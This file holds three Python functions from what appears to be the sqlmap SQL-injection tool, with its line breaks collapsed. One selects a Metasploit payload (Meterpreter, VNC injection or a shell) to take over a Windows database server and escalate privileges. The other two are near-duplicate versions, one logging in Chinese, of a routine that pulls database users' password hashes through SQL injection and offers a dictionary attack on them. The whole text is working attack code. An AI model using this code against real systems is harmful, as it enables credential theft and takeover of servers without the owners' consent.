def __selectPayload(self): if kb.os == "Windows" and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " infoMsg += "escalate privileges, either via 'incognito' " infoMsg += "extension or via 'getsystem' command" logger.info(infoMsg) __payloadStr = "windows/meterpreter" else: __payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList) if __payloadStr == "windows/vncinject": choose = False if Backend.getIdentifiedDbms() == DBMS.MYSQL: debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, it is likely that the the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) elif Backend.getIdentifiedDbms() == DBMS.PGSQL: choose = True warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" logger.warn(warnMsg) elif Backend.getIdentifiedDbms() == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")): choose = True warnMsg = "it is unlikely that the VNC injection will be " warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" logger.warn(warnMsg) if choose: message = "what do you want to do?\n" message += "[1] Give it a try anyway\n" message += "[2] Fall back to Meterpreter payload (default)\n" message += "[3] Fall back to Shell payload" while True: choice = readInput(message, default="2") if not choice or choice == "2": __payloadStr = "windows/meterpreter" break elif choice == "3": __payloadStr = "windows/shell" break elif choice == "1": if Backend.getIdentifiedDbms() == DBMS.PGSQL: logger.warn("beware that the VNC injection might not work") break elif Backend.getIdentifiedDbms() == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")): break elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: logger.warn("invalid value, it must be 1 or 2") return __payloadStr
def getPasswordHashes(self): infoMsg = u"获取数据库用户密码哈希" rootQuery = queries[Backend.getIdentifiedDbms()].passwords if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.user = conf.user.upper() if conf.user: users = conf.user.split(',') if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] users = filter(None, users) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): query = rootQuery.inband.query2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) if Backend.isDbms(DBMS.SYBASE): randStr = randomStr() getCurrentThreadData().disableStdOut = True retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False) if retVal: for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: values = inject.getValue(query, blind=False, time=False) for user, password in filterPairValues(values): if not user or user == " ": continue password = parsePasswordHash(password) if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct: if not len(users): users = self.getUsers() if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True randStr = randomStr() query = rootQuery.inband.query retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True) if retVal: for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): password = "******" % hexencode(password).upper() if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: retrievedUsers = set() for user in users: user = unArrayizeValue(user) if user in retrievedUsers: continue if Backend.isDbms(DBMS.INFORMIX): count = 1 else: infoMsg = u"获取用户'%s'的密码哈希数量" % user logger.info(infoMsg) if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.count2 % user else: query = rootQuery.blind.count % user count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = u"无法检索用户'%s'的密码哈希数量" % user logger.warn(warnMsg) continue infoMsg = u"获取用户'%s'的密码哈希值" % user logger.info(infoMsg) passwords = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.MSSQL): if Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.query2 % (user, index, user) else: query = rootQuery.blind.query % (user, index, user) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % (user,) else: query = rootQuery.blind.query % (user, index) password = unArrayizeValue(inject.getValue(query, union=False, error=False)) password = parsePasswordHash(password) passwords.append(password) if passwords: kb.data.cachedUsersPasswords[user] = passwords else: warnMsg = u"无法检索用户'%s'的密码哈希值" % user logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPasswords: errMsg = u"无法检索数据库用户的密码哈希" errMsg += u"(可能是因为会话用户没有相关系统数据库表的读取权限)" logger.error(errMsg) else: for user in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user])) storeHashesToFile(kb.data.cachedUsersPasswords) message = u"您是否要对所检索的密码散列进行基于字典的攻击? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': pass elif choice == 'Q': raise SqlmapUserQuitException else: attackCachedUsersPasswords() return kb.data.cachedUsersPasswords
def getPasswordHashes(self): infoMsg = "fetching database users password hashes" rootQuery = queries[Backend.getIdentifiedDbms()].passwords if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.user = conf.user.upper() if conf.user: users = conf.user.split(",") if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] users = filter(None, users) if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008")): query = rootQuery.inband.query2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) if Backend.isDbms(DBMS.SYBASE): randStr = randomStr() getCurrentThreadData().disableStdOut = True retVal = pivotDumpTable( "(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False) if retVal: for user, password in filterPairValues( zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): # password = "******" % strToHex(password) if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: value = inject.getValue(query, blind=False) for user, password in filterPairValues(value): if not user or user == " ": continue password = parsePasswordHash(password) if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) if not kb.data.cachedUsersPasswords and isInferenceAvailable( ) and not conf.direct: if not len(users): users = self.getUsers() if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True randStr = randomStr() query = rootQuery.inband.query retVal = pivotDumpTable( "(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True) if retVal: for user, password in filterPairValues( zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): password = "******" % strToHex(password) if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: retrievedUsers = set() for user in users: if user in retrievedUsers: continue infoMsg = "fetching number of password hashes " infoMsg += "for user '%s'" % user logger.info(infoMsg) if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008")): query = rootQuery.blind.count2 % user else: query = rootQuery.blind.count % user count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) continue infoMsg = "fetching password hashes for user '%s'" % user logger.info(infoMsg) passwords = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.MSSQL): if Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.query2 % (user, index, user) else: query = rootQuery.blind.query % (user, index, user) else: query = rootQuery.blind.query % (user, index) password = inject.getValue(query, inband=False, error=False) password = parsePasswordHash(password) passwords.append(password) if passwords: kb.data.cachedUsersPasswords[user] = passwords else: warnMsg = "unable to retrieve the password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPasswords: errMsg = "unable to retrieve the password hashes for the " errMsg += "database users (most probably because the session " errMsg += "user has no read privileges over the relevant " errMsg += "system database table)" raise sqlmapNoneDataException, errMsg else: for user in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = list( set(kb.data.cachedUsersPasswords[user])) message = "do you want to perform a dictionary-based attack " message += "against retrieved password hashes? [Y/n/q]" test = readInput(message, default="Y") if test[0] in ("n", "N"): pass elif test[0] in ("q", "Q"): raise sqlmapUserQuitException else: attackCachedUsersPasswords() return kb.data.cachedUsersPasswords